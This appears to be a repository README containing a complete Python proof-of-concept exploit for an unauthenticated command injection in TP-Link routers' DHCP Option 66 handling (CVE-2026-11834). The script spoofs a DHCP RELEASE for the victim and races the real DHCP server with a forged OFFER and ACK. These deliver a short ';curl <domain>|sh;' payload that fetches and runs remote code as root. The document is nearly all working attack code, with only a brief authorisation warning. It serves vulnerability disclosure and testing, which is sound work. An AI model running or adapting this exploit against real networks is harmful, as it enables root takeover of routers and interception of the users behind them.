README.md
Rendering markdown...
#!/usr/bin/env python3
"""
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)
DHCP Race Attack - Proof of Concept
Author: Matt Graham (mattgsys)
CVE: CVE-2026-11834
A command injection vulnerability (CWE-78) in the DHCP Option 66 ("TFTP Server
Name") handling of TP-Link router firmware allows an unauthenticated attacker on
the same network segment to execute arbitrary commands as root. The Option 66
value returned in a DHCP lease is concatenated unsanitised into a `tftp` shell
command in libcmm.so, which is passed to util_execSystem() and ultimately
system(). The value is truncated to 16 characters on the device, so the payload
is a minimal fetch-and-execute (`;curl <domain>|sh;`) that pulls a larger second
stage over HTTP.
This PoC delivers the payload without controlling the DHCP server, by racing the
legitimate one on the segment:
1. Spoofs a DHCP RELEASE as the target, clearing the target's lease binding on
the legitimate DHCP server.
2. Waits for the target's lease to lapse so it re-acquires its address.
3. Races the legitimate server, answering the target's broadcast with a
malicious OFFER/ACK whose Option 66 value carries the payload.
Tested on:
- TP-Link Archer C20 V6, firmware 0.9.1 Build 4.19 (EU, hardware)
The vulnerable code path is shared across a range of TP-Link routers. Memory
offsets, function addresses, and behaviour may differ on other models or
firmware versions.
WARNING: The Option 66 payload is executed as root on the target device. Only
run this against hardware you own or are authorised to test.
"""
import argparse
import sys
from scapy.all import (
BOOTP,
DHCP,
Ether,
IP,
UDP,
conf,
get_if_addr,
get_if_hwaddr,
getmacbyip,
mac2str,
sendp,
sniff,
)
DESCRIPTION = "TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack"
def build_dhcp_reply(msg_type, xid, client_mac, args):
"""Construct a malicious DHCP OFFER or ACK carrying the Option 66 payload.
The L2/L3 source is the attacker's own interface; the advertised server-id
is the attacker's IP. Only the RELEASE impersonates the target.
"""
return (
Ether(src=get_if_hwaddr(args.interface), dst="ff:ff:ff:ff:ff:ff") /
IP(src=args.attacker_ip, dst="255.255.255.255") /
UDP(sport=67, dport=68) /
BOOTP(
op=2,
htype=1,
hlen=6,
xid=xid,
flags=0x8000, # broadcast: target has no bound IP yet
yiaddr=args.target_ip, # offer the target back its previous IP
siaddr=args.attacker_ip,
chaddr=mac2str(client_mac) + b"\x00" * 10,
) /
DHCP(options=[
("message-type", msg_type),
("server_id", args.attacker_ip),
("lease_time", args.lease_time),
("subnet_mask", args.subnet_mask),
("router", args.gateway),
("name_server", args.dns_server),
(66, args.payload.encode()),
"end",
])
)
def send_release(args):
"""Spoof a DHCP RELEASE from the target to clear its binding on the server.
The RELEASE is sourced as the target (IP and chaddr), so the legitimate
server drops the target's lease. The target continues to treat its lease
as valid until its renewal timer (T1) expires.
"""
release = (
Ether(src=args.target_mac, dst=args.server_mac) /
IP(src=args.target_ip, dst=args.server_ip) /
UDP(sport=68, dport=67) /
BOOTP(
op=1,
htype=1,
hlen=6,
xid=0xDEADBEEF,
ciaddr=args.target_ip,
chaddr=mac2str(args.target_mac) + b"\x00" * 10,
) /
DHCP(options=[
("message-type", "release"),
("server_id", args.server_ip),
("client_id", b"\x01" + mac2str(args.target_mac)),
"end",
])
)
print(f"[*] Sending spoofed DHCP RELEASE for {args.target_ip}")
sendp(release, iface=args.interface, verbose=0)
print("[*] RELEASE sent. Waiting for target to re-acquire lease...")
def make_handler(args, state):
"""Return a callback bound to the parsed arguments and run state."""
def handle(pkt):
if DHCP not in pkt or pkt[Ether].src.lower() != args.target_mac.lower():
return
xid = pkt[BOOTP].xid
client_mac = pkt[Ether].src
options = dict(o[:2] for o in pkt[DHCP].options if isinstance(o, tuple))
msg_type = options.get("message-type")
if msg_type == 1: # DISCOVER
print(f"[!] Got DHCP DISCOVER from {client_mac}, XID: {hex(xid)}")
print("[>] Racing with malicious DHCP OFFER...")
sendp(build_dhcp_reply("offer", xid, client_mac, args),
iface=args.interface, verbose=0)
print("[>] OFFER sent")
elif msg_type == 3: # REQUEST
print(f"[!] Got DHCP REQUEST from {client_mac}, XID: {hex(xid)}")
# The REQUEST echoes the server-id of whichever offer the target
# selected. Only answer if it picked us, or if it omitted the
# server-id (INIT-REBOOT / renewing), where the ACK can still land.
selected = options.get("server_id")
if selected is not None and selected != args.attacker_ip:
print(f"[-] Target selected {selected}, not us. Lost the race.")
return
print("[>] Sending malicious DHCP ACK...")
sendp(build_dhcp_reply("ack", xid, client_mac, args),
iface=args.interface, verbose=0)
print("[>] ACK sent. Payload delivered.")
state["done"] = True
return handle
def parse_args():
p = argparse.ArgumentParser(description=DESCRIPTION)
p.add_argument("target_ip",
help="Current IP address of the target device")
p.add_argument("-i", "--interface", required=True,
help="Network interface on the target's segment")
p.add_argument("-s", "--server-ip", required=True,
help="Legitimate DHCP server IP")
p.add_argument("-S", "--server-mac", required=True,
help="Legitimate DHCP server MAC")
p.add_argument("-t", "--target-mac",
help="Target MAC (auto-resolved via ARP if omitted)")
p.add_argument("-a", "--attacker-ip",
help="Server-id advertised in the malicious lease "
"(defaults to the interface IP)")
p.add_argument("-p", "--payload", required=True,
help="Option 66 value (<=16 chars), e.g. ';curl <domain>|sh;'")
p.add_argument("--gateway",
help="Gateway to hand out (defaults to the DHCP server IP)")
p.add_argument("--dns-server", default="8.8.8.8",
help="DNS server to hand out (default: 8.8.8.8)")
p.add_argument("--subnet-mask", default="255.255.255.0",
help="Subnet mask to hand out (default: 255.255.255.0)")
p.add_argument("--lease-time", type=int, default=60,
help="Lease time in seconds (default: 60)")
return p.parse_args()
def main():
args = parse_args()
# Resolve defaults that depend on the interface or other arguments.
if not args.attacker_ip:
args.attacker_ip = get_if_addr(args.interface)
if not args.gateway:
args.gateway = args.server_ip
if not args.target_mac:
args.target_mac = getmacbyip(args.target_ip)
if not args.target_mac:
sys.exit(f"[-] Could not resolve MAC for {args.target_ip}. "
f"Pass it with --target-mac.")
if len(args.payload) > 16:
sys.exit(f"[-] Payload is {len(args.payload)} chars; the target "
f"truncates Option 66 to 16.")
conf.iface = args.interface
print(DESCRIPTION)
print(f" Target IP : {args.target_ip}")
print(f" Target MAC : {args.target_mac}")
print(f" DHCP Server : {args.server_ip} ({args.server_mac})")
print(f" Attacker IP : {args.attacker_ip}")
print(f" Interface : {args.interface}")
print(f" Payload : {args.payload}")
print()
state = {"done": False}
# The target will not re-DISCOVER until its renewal timer expires, so the
# RELEASE can be sent before sniffing starts with no risk of a race.
send_release(args)
sniff(filter="udp port 67 or udp port 68",
prn=make_handler(args, state),
stop_filter=lambda _: state["done"],
iface=args.interface, store=0)
print("[+] Done.")
if __name__ == "__main__":
main()